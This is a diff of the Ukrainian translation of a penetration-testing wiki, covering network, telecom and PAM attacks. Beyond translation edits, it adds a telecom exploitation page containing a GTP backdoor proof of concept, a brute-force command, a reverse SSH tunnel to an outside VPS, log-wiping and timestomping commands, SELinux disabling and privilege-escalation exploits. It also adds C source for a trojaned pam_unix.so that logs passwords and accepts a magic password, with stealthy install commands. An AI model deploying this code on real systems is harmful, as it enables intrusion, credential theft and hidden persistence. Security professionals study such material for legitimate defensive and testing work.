Зверніть увагу, що RIPv2 підтримує аутентифікацію MD5, тоді як RIPng не включає нативну аутентифікацію, покладаючись на заголовки IPsec AH та ESP в IPv6.
|
||||
|
||||
### EIGRP Attacks
|
||||
|
||||
**EIGRP (Enhanced Interior Gateway Routing Protocol)** - це динамічний протокол маршрутизації. **Це протокол вектору відстані.** Якщо **немає аутентифікації** та налаштування пасивних інтерфейсів, **зловмисник** може втручатися в маршрутизацію EIGRP і викликати **отруєння таблиць маршрутизації**. Більше того, мережа EIGRP (іншими словами, автономна система) **є плоскою і не має сегментації на зони**. Якщо **зловмисник інжектує маршрут**, ймовірно, що цей маршрут **пошириться** по всій автономній системі EIGRP.
|
||||
**EIGRP (Покращений протокол маршрутизації внутрішніх шлюзів)** - це динамічний протокол маршрутизації. **Це протокол вектору відстані.** Якщо **немає аутентифікації** та налаштування пасивних інтерфейсів, **зловмисник** може втручатися в маршрутизацію EIGRP і викликати **отруєння таблиць маршрутизації**. Більше того, мережа EIGRP (іншими словами, автономна система) **є плоскою і не має сегментації на зони**. Якщо **зловмисник інжектує маршрут**, ймовірно, що цей маршрут **пошириться** по всій автономній системі EIGRP.
|
||||
|
||||
Для атаки на систему EIGRP потрібно **встановити сусідство з легітимним маршрутизатором EIGRP**, що відкриває багато можливостей, від базового розвідки до різних ін'єкцій.
|
||||
|
||||
@ -568,11 +568,11 @@ glbp-and-hsrp-attacks.md
|
||||
eigrp-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
[**Coly**](https://code.google.com/p/coly/) має можливості для перехоплення трансляцій EIGRP (Enhanced Interior Gateway Routing Protocol). Він також дозволяє інжектувати пакети, які можуть бути використані для зміни конфігурацій маршрутизації.
|
||||
[**Coly**](https://code.google.com/p/coly/) має можливості для перехоплення трансляцій EIGRP (Покращений протокол маршрутизації внутрішніх шлюзів). Він також дозволяє інжектувати пакети, які можуть бути використані для зміни конфігурацій маршрутизації.
|
||||
|
||||
### OSPF
|
||||
|
||||
У протоколі Open Shortest Path First (OSPF) **зазвичай використовується аутентифікація MD5 для забезпечення безпечного спілкування між маршрутизаторами**. Однак цей захід безпеки може бути скомпрометований за допомогою інструментів, таких як Loki та John the Ripper. Ці інструменти здатні захоплювати та ламати MD5 хеші, відкриваючи ключ аутентифікації. Після отримання цього ключа його можна використовувати для введення нової інформації про маршрути. Для налаштування параметрів маршруту та встановлення скомпрометованого ключа використовуються вкладки _Injection_ та _Connection_ відповідно.
|
||||
У протоколі Open Shortest Path First (OSPF) **зазвичай використовується аутентифікація MD5 для забезпечення безпечного зв'язку між маршрутизаторами**. Однак цей захід безпеки може бути скомпрометований за допомогою інструментів, таких як Loki та John the Ripper. Ці інструменти здатні захоплювати та ламати MD5 хеші, відкриваючи ключ аутентифікації. Після отримання цього ключа його можна використовувати для введення нової інформації про маршрути. Для налаштування параметрів маршруту та встановлення скомпрометованого ключа використовуються вкладки _Injection_ та _Connection_ відповідно.
|
||||
|
||||
- **Захоплення та ламання MD5 хешів:** Для цього використовуються інструменти, такі як Loki та John the Ripper.
|
||||
- **Налаштування параметрів маршруту:** Це робиться через вкладку _Injection_.
|
||||
@ -635,9 +635,9 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
|
||||
```
|
||||
### [Spoofing LLMNR, NBT-NS, and mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
Для локального розв'язання хостів, коли запити DNS не вдаються, системи Microsoft покладаються на **Link-Local Multicast Name Resolution (LLMNR)** та **NetBIOS Name Service (NBT-NS)**. Аналогічно, **Apple Bonjour** та **Linux zero-configuration** реалізації використовують **Multicast DNS (mDNS)** для виявлення систем у мережі. Через неавтентифіковану природу цих протоколів та їх роботу через UDP, транслюючи повідомлення, їх можна експлуатувати зловмисниками, які прагнуть перенаправити користувачів на шкідливі сервіси.
|
||||
Для локального розв'язання хостів, коли запити DNS не вдаються, системи Microsoft покладаються на **Link-Local Multicast Name Resolution (LLMNR)** та **NetBIOS Name Service (NBT-NS)**. Аналогічно, **Apple Bonjour** та **Linux zero-configuration** реалізації використовують **Multicast DNS (mDNS)** для виявлення систем у мережі. Через неавтентифікований характер цих протоколів та їх роботу через UDP, транслюючи повідомлення, їх можуть експлуатувати зловмисники, які прагнуть перенаправити користувачів на шкідливі сервіси.
|
||||
|
||||
Ви можете видавати себе за сервіси, які шукають хости, використовуючи Responder для відправки фальшивих відповідей.\
|
||||
Ви можете видавати себе за сервіси, які шукають хости, використовуючи Responder для надсилання фальшивих відповідей.\
|
||||
Читати тут більше інформації про [як видавати себе за сервіси з Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
|
||||
### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
@ -645,14 +645,14 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
|
||||
Браузери зазвичай використовують **протокол Web Proxy Auto-Discovery (WPAD) для автоматичного отримання налаштувань проксі**. Це передбачає отримання конфігураційних деталей з сервера, зокрема через URL, такий як "http://wpad.example.org/wpad.dat". Виявлення цього сервера клієнтами може відбуватися через різні механізми:
|
||||
|
||||
- Через **DHCP**, де виявлення полегшується за допомогою спеціального коду 252.
|
||||
- Через **DNS**, що передбачає пошук імені хоста з позначкою _wpad_ у локальному домені.
|
||||
- Через **DNS**, що передбачає пошук імені хоста з міткою _wpad_ у локальному домені.
|
||||
- Через **Microsoft LLMNR та NBT-NS**, які є механізмами резервного копіювання, що використовуються у випадках, коли запити DNS не вдаються.
|
||||
|
||||
Інструмент Responder використовує цей протокол, діючи як **шкідливий WPAD сервер**. Він використовує DHCP, DNS, LLMNR та NBT-NS, щоб ввести клієнтів в оману, змушуючи їх підключатися до нього. Щоб дізнатися більше про те, як можна видавати себе за сервіси, використовуючи Responder, [перевірте це](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
|
||||
### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md)
|
||||
|
||||
Ви можете пропонувати різні сервіси в мережі, щоб спробувати **обманути користувача** ввести деякі **текстові облікові дані**. **Більше інформації про цю атаку в** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.**
|
||||
Ви можете пропонувати різні сервіси в мережі, щоб спробувати **обманути користувача** ввести деякі **паролі в простому тексті**. **Більше інформації про цю атаку в** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.**
|
||||
|
||||
### IPv6 Neighbor Spoofing
|
||||
|
||||
@ -671,7 +671,7 @@ fake_router6 wlan0 fe80::01/16
|
||||
```
|
||||
### IPv6 DHCP спуфінг
|
||||
|
||||
За замовчуванням деякі ОС намагаються налаштувати DNS, читаючи пакет DHCPv6 в мережі. Тоді зловмисник може надіслати пакет DHCPv6, щоб налаштувати себе як DNS. DHCP також надає IPv6 жертві.
|
||||
За замовчуванням деякі ОС намагаються налаштувати DNS, читаючи пакет DHCPv6 у мережі. Тоді зловмисник може надіслати пакет DHCPv6, щоб налаштувати себе як DNS. DHCP також надає IPv6 жертві.
|
||||
```bash
|
||||
dhcp6.spoof on
|
||||
dhcp6.spoof.domains <list of domains>
|
||||
@ -684,7 +684,7 @@ mitm6
|
||||
|
||||
### sslStrip
|
||||
|
||||
В основному, що робить ця атака, це в разі, якщо **користувач** намагається **доступитися** до **HTTP** сторінки, яка **перенаправляє** на **HTTPS** версію. **sslStrip** буде **підтримувати** **HTTP з'єднання з** **клієнтом** та **HTTPS з'єднання з** **сервером**, щоб мати можливість **перехоплювати** з'єднання у **вільному тексті**.
|
||||
В основному, що робить ця атака, це в разі, якщо **користувач** намагається **доступитися** до **HTTP** сторінки, яка **перенаправляє** на **HTTPS** версію. **sslStrip** буде **підтримувати** **HTTP з'єднання з** **клієнтом** та **HTTPS з'єднання з** **сервером**, щоб мати можливість **перехоплювати** з'єднання у **відкритому тексті**.
|
||||
```bash
|
||||
apt-get install sslstrip
|
||||
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
|
||||
@ -699,12 +699,12 @@ iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
|
||||
|
||||
**Різниця** між **sslStrip+ та dns2proxy** і **sslStrip** полягає в тому, що вони **перенаправлятимуть**, наприклад, _**www.facebook.com**_ **на** _**wwww.facebook.com**_ (зверніть увагу на **додаткову** "**w**") і встановлять **адресу цього домену як IP-адресу атакуючого**. Таким чином, **клієнт** буде **підключатися** до _**wwww.facebook.com**_ **(атакуючого)**, але за лаштунками **sslstrip+** буде **підтримувати** **реальне з'єднання** через https з **www.facebook.com**.
|
||||
|
||||
**Мета** цієї техніки полягає в тому, щоб **уникнути HSTS**, оскільки _**wwww**.facebook.com_ **не буде** збережено в **кеші** браузера, тому браузер буде обмануто, щоб виконати **автентифікацію facebook через HTTP**.\
|
||||
**Мета** цієї техніки полягає в тому, щоб **уникнути HSTS**, оскільки _**wwww**.facebook.com_ **не буде** збережено в **кеші** браузера, тому браузер буде обмануто виконати **автентифікацію facebook через HTTP**.\
|
||||
Зверніть увагу, що для виконання цієї атаки жертва повинна спочатку спробувати отримати доступ до [http://www.faceook.com](http://www.faceook.com), а не https. Це можна зробити, модифікуючи посилання всередині http-сторінки.
|
||||
|
||||
Більше інформації [тут](https://www.bettercap.org/legacy/#hsts-bypass), [тут](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) та [тут](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
|
||||
|
||||
**sslStrip або sslStrip+ більше не працюють. Це пов'язано з тим, що в браузерах збережені правила HSTS, тому навіть якщо це перший раз, коли користувач отримує доступ до "важливого" домену, він отримає доступ через HTTPS. Також зверніть увагу, що збережені правила та інші згенеровані правила можуть використовувати прапорець** [**`includeSubdomains`**](https://hstspreload.appspot.com) **тому приклад** _**wwww.facebook.com**_ **з попереднього разу більше не працюватиме, оскільки** _**facebook.com**_ **використовує HSTS з `includeSubdomains`.**
|
||||
**sslStrip або sslStrip+ більше не працюють. Це пов'язано з тим, що в браузерах збережені правила HSTS, тому навіть якщо це перший раз, коли користувач отримує доступ до "важливого" домену, він отримає доступ через HTTPS. Також зверніть увагу, що збережені правила та інші згенеровані правила можуть використовувати прапор** [**`includeSubdomains`**](https://hstspreload.appspot.com) **тому приклад** _**wwww.facebook.com**_ **з попереднього разу більше не працюватиме, оскільки** _**facebook.com**_ **використовує HSTS з `includeSubdomains`.**
|
||||
|
||||
TODO: easy-creds, evilgrade, metasploit, factory
|
||||
|
||||
@ -733,10 +733,10 @@ sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FI
|
||||
```
|
||||
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0
|
||||
```
|
||||
Іноді, якщо клієнт перевіряє, що CA є дійсним, ви можете **представити сертифікат іншого імені хоста, підписаний CA**.\
|
||||
Ще один цікавий тест - це **представити сертифікат запитуваного імені хоста, але самопідписаний**.
|
||||
Іноді, якщо клієнт перевіряє, що CA є дійсним, ви можете **надати сертифікат іншого імені хоста, підписаний CA**.\
|
||||
Ще один цікавий тест - це надати **сертифікат запитуваного імені хоста, але самопідписаний**.
|
||||
|
||||
Інші речі для тестування - це спробувати підписати сертифікат дійсним сертифікатом, який не є дійсним CA. Або використовувати дійсний відкритий ключ, примусити використовувати алгоритм, як-от diffie hellman (той, що не потребує розшифровки нічого з реальним приватним ключем) і коли клієнт запитує пробу реального приватного ключа (як хеш), надіслати фальшиву пробу і сподіватися, що клієнт не перевірить це.
|
||||
Інші речі для тестування - це спробувати підписати сертифікат дійсним сертифікатом, який не є дійсним CA. Або використовувати дійсний відкритий ключ, примусити використовувати алгоритм, як-от diffie hellman (той, що не потребує розшифровки нічого з реальним приватним ключем) і коли клієнт запитує пробу реального приватного ключа (як хеш), надіслати фальшиву пробу і сподіватися, що клієнт цього не перевірить.
|
||||
|
||||
## Bettercap
|
||||
```bash
|
||||
@ -764,17 +764,17 @@ set wifi.ap.channel 5
|
||||
set wifi.ap.encryption false #If true, WPA2
|
||||
wifi.recon on; wifi.ap
|
||||
```
|
||||
### Примітки щодо активного виявлення
|
||||
### Активні нотатки про виявлення
|
||||
|
||||
Зверніть увагу, що коли UDP-пакет надсилається на пристрій, який не має запитуваного порту, надсилається ICMP (Port Unreachable).
|
||||
Врахуйте, що коли UDP пакет надсилається на пристрій, який не має запитуваного порту, надсилається ICMP (Port Unreachable).
|
||||
|
||||
### **ARP виявлення**
|
||||
|
||||
Пакети ARP використовуються для виявлення, які IP-адреси використовуються в мережі. ПК повинен надіслати запит для кожної можливої IP-адреси, і лише ті, що використовуються, відповідають.
|
||||
ARP пакети використовуються для виявлення, які IP-адреси використовуються в мережі. ПК повинен надіслати запит для кожної можливої IP-адреси, і лише ті, що використовуються, відповідають.
|
||||
|
||||
### **mDNS (мультимедійний DNS)**
|
||||
|
||||
Bettercap надсилає запит MDNS (кожні X мс), запитуючи **\_services\_.dns-sd.\_udp.local**. Машина, яка бачить цей пакет, зазвичай відповідає на цей запит. Потім вона лише шукає машини, які відповідають на "services".
|
||||
Bettercap надсилає запит MDNS (кожні X мс), запитуючи **\_services\_.dns-sd.\_udp.local**; машина, яка бачить цей пакет, зазвичай відповідає на цей запит. Потім вона лише шукає машини, які відповідають на "services".
|
||||
|
||||
**Інструменти**
|
||||
|
||||
@ -788,19 +788,23 @@ Bettercap транслює пакети на порт 137/UDP, запитуюч
|
||||
|
||||
### **SSDP (Протокол простого виявлення сервісів)**
|
||||
|
||||
Bettercap транслює пакети SSDP, шукаючи всі види сервісів (UDP Port 1900).
|
||||
Bettercap транслює пакети SSDP, шукаючи всі види сервісів (UDP порт 1900).
|
||||
|
||||
### **WSD (Веб-сервіс виявлення)**
|
||||
|
||||
Bettercap транслює пакети WSD, шукаючи сервіси (UDP Port 3702).
|
||||
Bettercap транслює пакети WSD, шукаючи сервіси (UDP порт 3702).
|
||||
|
||||
### Експлуатація Telecom / Mobile-Core (GTP)
|
||||
|
||||
{{#ref}}
|
||||
telecom-network-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Посилання
|
||||
|
||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
- **Оцінка безпеки мережі: Знайте свою мережу (3-е видання)**
|
||||
- **Практичний IoT Хакінг: Останній посібник з атак на Інтернет речей. Автори: Фотіс Ханцис, Іоанніс Стайс, Пауліно Кальдерон, Євангелос Дейрментзоглу, Боу Вуд**
|
||||
- **Практичний IoT Хакінг: Останній посібник з атаки на Інтернет речей. Автори: Фотіс Ханцис, Іоаніс Стаіс, Пауліно Кальдерон, Євангелос Дейрментзоглу, Боу Вуд**
|
||||
- [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -0,0 +1,140 @@
|
||||
# Telecom Network Exploitation (GTP / Roaming Environments)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> Протоколи мобільної ядра (GPRS Tunnelling Protocol – GTP) часто проходять через напівдостовірні GRX/IPX роумінгові магістралі. Оскільки вони використовують простий UDP з майже без аутентифікації, **будь-яка точка доступу всередині телекомунікаційного периметра зазвичай може безпосередньо досягти основних сигнальних площин**. Наступні нотатки збирають наступальні трюки, спостережені в природі проти SGSN/GGSN, PGW/SGW та інших вузлів EPC.
|
||||
|
||||
## 1. Recon & Initial Access
|
||||
|
||||
### 1.1 Default OSS / NE Accounts
|
||||
Досить велика кількість елементів мережі постачальників постачається з жорстко закодованими SSH/Telnet користувачами, такими як `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Спеціалізований словник значно підвищує успіх брутфорсу:
|
||||
```bash
|
||||
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
|
||||
```
|
||||
Якщо пристрій відкриває лише управлінський VRF, спочатку переходьте через хост-перескок (див. розділ «SGSN Emu Tunnel» нижче).
|
||||
|
||||
### 1.2 Виявлення хостів всередині GRX/IPX
|
||||
Більшість операторів GRX все ще дозволяють **ICMP echo** через магістраль. Поєднайте `masscan` з вбудованими UDP-пробами `gtpv1`, щоб швидко відобразити GTP-C слухачів:
|
||||
```bash
|
||||
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
|
||||
```
|
||||
## 2. Перерахунок абонентів – `cordscan`
|
||||
|
||||
The following Go tool crafts **GTP-C Create PDP Context Request** packets and logs the responses. Each reply reveals the current **SGSN / MME** serving the queried IMSI and, sometimes, the subscriber’s visited PLMN.
|
||||
```bash
|
||||
# Build
|
||||
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
|
||||
# Usage (typical):
|
||||
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
|
||||
```
|
||||
Ключові прапори:
|
||||
- `--imsi` IMSI цільового абонента
|
||||
- `--oper` Домашній / HNI (MCC+MNC)
|
||||
- `-w` Записати сирі пакети в pcap
|
||||
|
||||
Важливі константи всередині бінарного файлу можна патчити для розширення сканувань:
|
||||
```
|
||||
pingtimeout = 3 // seconds before giving up
|
||||
pco = 0x218080
|
||||
common_tcp_ports = "22,23,80,443,8080"
|
||||
```
|
||||
## 3. Виконання коду через GTP – `GTPDoor`
|
||||
|
||||
`GTPDoor` є маленьким ELF-сервісом, який **прив'язує UDP 2123 і аналізує кожен вхідний GTP-C пакет**. Коли корисне навантаження починається з попередньо поділеного тегу, решта розшифровується (AES-128-CBC) і виконується через `/bin/sh -c`. Стандартний вивід/помилки ексфільтруються всередині **Echo Response** повідомлень, щоб жодна зовнішня сесія ніколи не створювалася.
|
||||
|
||||
Мінімальний PoC пакет (Python):
|
||||
```python
|
||||
import gtpc, Crypto.Cipher.AES as AES
|
||||
key = b"SixteenByteKey!"
|
||||
cmd = b"id;uname -a"
|
||||
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
|
||||
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
|
||||
```
|
||||
Виявлення:
|
||||
* будь-який хост, що надсилає **незбалансовані Echo запити** до IP-адрес SGSN
|
||||
* прапор версії GTP, встановлений на 1, коли тип повідомлення = 1 (Echo) – відхилення від специфікації
|
||||
|
||||
## 4. Півотування через ядро
|
||||
|
||||
### 4.1 `sgsnemu` + SOCKS5
|
||||
`OsmoGGSN` постачає емулятор SGSN, здатний **встановити PDP контекст до реального GGSN/PGW**. Після переговорів Linux отримує новий інтерфейс `tun0`, доступний з роумінгового пір.
|
||||
```bash
|
||||
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
|
||||
-APN internet -c 1 -d
|
||||
ip route add 172.16.0.0/12 dev tun0
|
||||
microsocks -p 1080 & # internal SOCKS proxy
|
||||
```
|
||||
З правильним налаштуванням hair-pinning брандмауера, цей тунель обходить VLAN, що використовуються лише для сигналізації, і приземляє вас безпосередньо в **data plane**.
|
||||
|
||||
### 4.2 SSH зворотний тунель через порт 53
|
||||
DNS майже завжди відкритий в роумінгових інфраструктурах. Відкрийте внутрішній SSH сервіс на вашому VPS, що слухає на :53, і поверніться пізніше з дому:
|
||||
```bash
|
||||
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
|
||||
```
|
||||
Перевірте, що `GatewayPorts yes` увімкнено на VPS.
|
||||
|
||||
## 5. Секретні канали
|
||||
|
||||
| Канал | Транспорт | Декодування | Примітки |
|
||||
|-------|-----------|-------------|----------|
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-байтовий ключ + 14-байтові шматки (XOR) | чистий пасивний слухач, без вихідного трафіку |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (ключ = `funnyAndHappy`), закодований в октетах A-запису | спостерігає за піддоменом `*.nodep` |
|
||||
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC об'єкт у приватному IE | змішується з легітимним GTP-C спілкуванням |
|
||||
|
||||
Усі імпланти реалізують монітори, які **timestomp** їхні бінарні файли та перезапускаються у разі збою.
|
||||
|
||||
## 6. Чек-лист ухилення від захисту
|
||||
```bash
|
||||
# Remove attacker IPs from wtmp
|
||||
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
|
||||
|
||||
# Disable bash history
|
||||
export HISTFILE=/dev/null
|
||||
|
||||
# Masquerade as kernel thread
|
||||
echo 0 > /proc/$$/autogroup # hide from top/htop
|
||||
printf '\0' > /proc/$$/comm # appears as [kworker/1]
|
||||
|
||||
touch -r /usr/bin/time /usr/bin/chargen # timestomp
|
||||
setenforce 0 # disable SELinux
|
||||
```
|
||||
## 7. Підвищення привілеїв на застарілій NE
|
||||
```bash
|
||||
# DirtyCow – CVE-2016-5195
|
||||
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
|
||||
|
||||
# PwnKit – CVE-2021-4034
|
||||
python3 PwnKit.py
|
||||
|
||||
# Sudo Baron Samedit – CVE-2021-3156
|
||||
python3 exploit_userspec.py
|
||||
```
|
||||
Порада щодо очищення:
|
||||
```bash
|
||||
userdel firefart 2>/dev/null
|
||||
rm -f /tmp/sh ; history -c
|
||||
```
|
||||
## 8. Інструменти
|
||||
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – спеціалізовані інструменти, описані в попередніх розділах.
|
||||
* `FScan` : внутрішні TCP сканування (`fscan -p 22,80,443 10.0.0.0/24`)
|
||||
* `Responder` : LLMNR/NBT-NS підроблений WPAD
|
||||
* `Microsocks` + `ProxyChains` : легке SOCKS5 підімкнення
|
||||
* `FRP` (≥0.37) : обходження NAT / з'єднання активів
|
||||
|
||||
---
|
||||
## Ідеї для виявлення
|
||||
1. **Будь-який пристрій, окрім SGSN/GGSN, що встановлює запити на створення PDP контексту**.
|
||||
2. **Нестандартні порти (53, 80, 443), що отримують SSH рукопожаття** з внутрішніх IP-адрес.
|
||||
3. **Часті Echo запити без відповідних Echo відповідей** – можуть вказувати на GTPDoor маяки.
|
||||
4. **Висока частота ICMP echo-reply трафіку з великими, ненульовими ідентифікаторами/послідовностями**.
|
||||
|
||||
## Посилання
|
||||
|
||||
- [Palo Alto Unit42 – Вторгнення в глобальні телекомунікаційні мережі](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
||||
- 3GPP TS 29.060 – Протокол тунелювання GPRS (v16.4.0)
|
||||
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -4,12 +4,12 @@
|
||||
|
||||
### Основна інформація
|
||||
|
||||
**PAM (Pluggable Authentication Modules)** діє як механізм безпеки, який **перевіряє особу користувачів, які намагаються отримати доступ до комп'ютерних послуг**, контролюючи їх доступ на основі різних критеріїв. Це схоже на цифрового охоронця, який забезпечує, щоб лише авторизовані користувачі могли взаємодіяти з певними послугами, при цьому потенційно обмежуючи їх використання, щоб запобігти перевантаженню системи.
|
||||
**PAM (Pluggable Authentication Modules)** діє як механізм безпеки, який **перевіряє особу користувачів, що намагаються отримати доступ до комп'ютерних послуг**, контролюючи їх доступ на основі різних критеріїв. Це схоже на цифрового охоронця, який забезпечує, щоб лише авторизовані користувачі могли взаємодіяти з певними послугами, одночасно потенційно обмежуючи їх використання, щоб запобігти перевантаженню системи.
|
||||
|
||||
#### Файли конфігурації
|
||||
|
||||
- **Системи Solaris та UNIX** зазвичай використовують центральний файл конфігурації, розташований за адресою `/etc/pam.conf`.
|
||||
- **Системи Linux** віддають перевагу підходу з директоріями, зберігаючи специфічні для послуг конфігурації в `/etc/pam.d`. Наприклад, файл конфігурації для служби входу знаходиться за адресою `/etc/pam.d/login`.
|
||||
- **Системи Linux** віддають перевагу підходу з директорією, зберігаючи специфічні для послуг конфігурації в `/etc/pam.d`. Наприклад, файл конфігурації для служби входу знаходиться за адресою `/etc/pam.d/login`.
|
||||
|
||||
Приклад конфігурації PAM для служби входу може виглядати так:
|
||||
```
|
||||
@ -24,30 +24,85 @@ password required /lib/security/pam_ldap.so
|
||||
password required /lib/security/pam_pwdb.so use_first_pass
|
||||
session required /lib/security/pam_unix_session.so
|
||||
```
|
||||
#### **PAM Управління Сферами**
|
||||
#### **PAM Management Realms**
|
||||
|
||||
Ці сфери, або групи управління, включають **auth**, **account**, **password** та **session**, кожна з яких відповідає за різні аспекти процесу аутентифікації та управління сесіями:
|
||||
Ці області, або групи управління, включають **auth**, **account**, **password** та **session**, кожна з яких відповідає за різні аспекти процесу аутентифікації та управління сесіями:
|
||||
|
||||
- **Auth**: Підтверджує особу користувача, часто запитуючи пароль.
|
||||
- **Account**: Обробляє перевірку облікового запису, перевіряючи умови, такі як членство в групі або обмеження за часом доби.
|
||||
- **Password**: Керує оновленнями паролів, включаючи перевірки складності або запобігання атакам словників.
|
||||
- **Password**: Керує оновленнями паролів, включаючи перевірки складності або запобігання атакам словником.
|
||||
- **Session**: Керує діями під час початку або закінчення сесії служби, такими як монтування каталогів або встановлення обмежень ресурсів.
|
||||
|
||||
#### **Контроль Модулів PAM**
|
||||
#### **PAM Module Controls**
|
||||
|
||||
Контролі визначають реакцію модуля на успіх або невдачу, впливаючи на загальний процес аутентифікації. До них відносяться:
|
||||
|
||||
- **Required**: Невдача обов'язкового модуля призводить до остаточної невдачі, але лише після перевірки всіх наступних модулів.
|
||||
- **Requisite**: Негайне завершення процесу у разі невдачі.
|
||||
- **Sufficient**: Успіх обходить решту перевірок того ж рівня, якщо наступний модуль не зазнає невдачі.
|
||||
- **Sufficient**: Успіх обходить решту перевірок того ж царства, якщо наступний модуль не зазнає невдачі.
|
||||
- **Optional**: Викликає невдачу лише якщо це єдиний модуль у стеку.
|
||||
|
||||
#### Приклад Сценарію
|
||||
#### Example Scenario
|
||||
|
||||
У налаштуванні з кількома модулями auth процес слідує строгому порядку. Якщо модуль `pam_securetty` виявляє, що термінал для входу несанкціонований, вхід під root блокується, але всі модулі все ще обробляються через його статус "required". Модуль `pam_env` встановлює змінні середовища, що потенційно покращує досвід користувача. Модулі `pam_ldap` та `pam_unix` працюють разом для аутентифікації користувача, причому `pam_unix` намагається використати раніше наданий пароль, підвищуючи ефективність і гнучкість методів аутентифікації.
|
||||
У налаштуванні з кількома модулями auth процес слідує строгому порядку. Якщо модуль `pam_securetty` виявляє, що термінал для входу несанкціонований, вхід root блокується, але всі модулі все ще обробляються через його статус "required". Модуль `pam_env` встановлює змінні середовища, що потенційно покращує досвід користувача. Модулі `pam_ldap` та `pam_unix` працюють разом для аутентифікації користувача, причому `pam_unix` намагається використати раніше наданий пароль, підвищуючи ефективність і гнучкість методів аутентифікації.
|
||||
|
||||
### Посилання
|
||||
## Backdooring PAM – Hooking `pam_unix.so`
|
||||
|
||||
Класичний трюк з постійністю в середовищах Linux високої вартості полягає в тому, щоб **замінити легітимну бібліотеку PAM на тройовану**. Оскільки кожен вхід через SSH / консоль в кінцевому підсумку викликає `pam_unix.so:pam_sm_authenticate()`, кілька рядків C достатньо, щоб захопити облікові дані або реалізувати *чарівний* обхід пароля.
|
||||
|
||||
### Compilation Cheatsheet
|
||||
```c
|
||||
#define _GNU_SOURCE
|
||||
#include <security/pam_modules.h>
|
||||
#include <dlfcn.h>
|
||||
#include <stdio.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
|
||||
static int (*orig)(pam_handle_t *, int, int, const char **);
|
||||
static const char *MAGIC = "Sup3rS3cret!";
|
||||
|
||||
int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
|
||||
const char *user, *pass;
|
||||
pam_get_user(pamh, &user, NULL);
|
||||
pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL);
|
||||
|
||||
/* Magic pwd → immediate success */
|
||||
if(pass && strcmp(pass, MAGIC) == 0) return PAM_SUCCESS;
|
||||
|
||||
/* Credential harvesting */
|
||||
int fd = open("/usr/bin/.dbus.log", O_WRONLY|O_APPEND|O_CREAT, 0600);
|
||||
dprintf(fd, "%s:%s\n", user, pass);
|
||||
close(fd);
|
||||
|
||||
/* Fall back to original function */
|
||||
if(!orig) {
|
||||
orig = dlsym(RTLD_NEXT, "pam_sm_authenticate");
|
||||
}
|
||||
return orig(pamh, flags, argc, argv);
|
||||
}
|
||||
```
|
||||
Скомпілювати та непомітно замінити:
|
||||
```bash
|
||||
gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam
|
||||
mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak
|
||||
mv pam_unix.so /lib/security/pam_unix.so
|
||||
chmod 644 /lib/security/pam_unix.so # keep original perms
|
||||
touch -r /bin/ls /lib/security/pam_unix.so # timestomp
|
||||
```
|
||||
### OpSec Tips
|
||||
1. **Атомне перезаписування** – записуйте у тимчасовий файл і `mv` на місце, щоб уникнути частково записаних бібліотек, які можуть заблокувати SSH.
|
||||
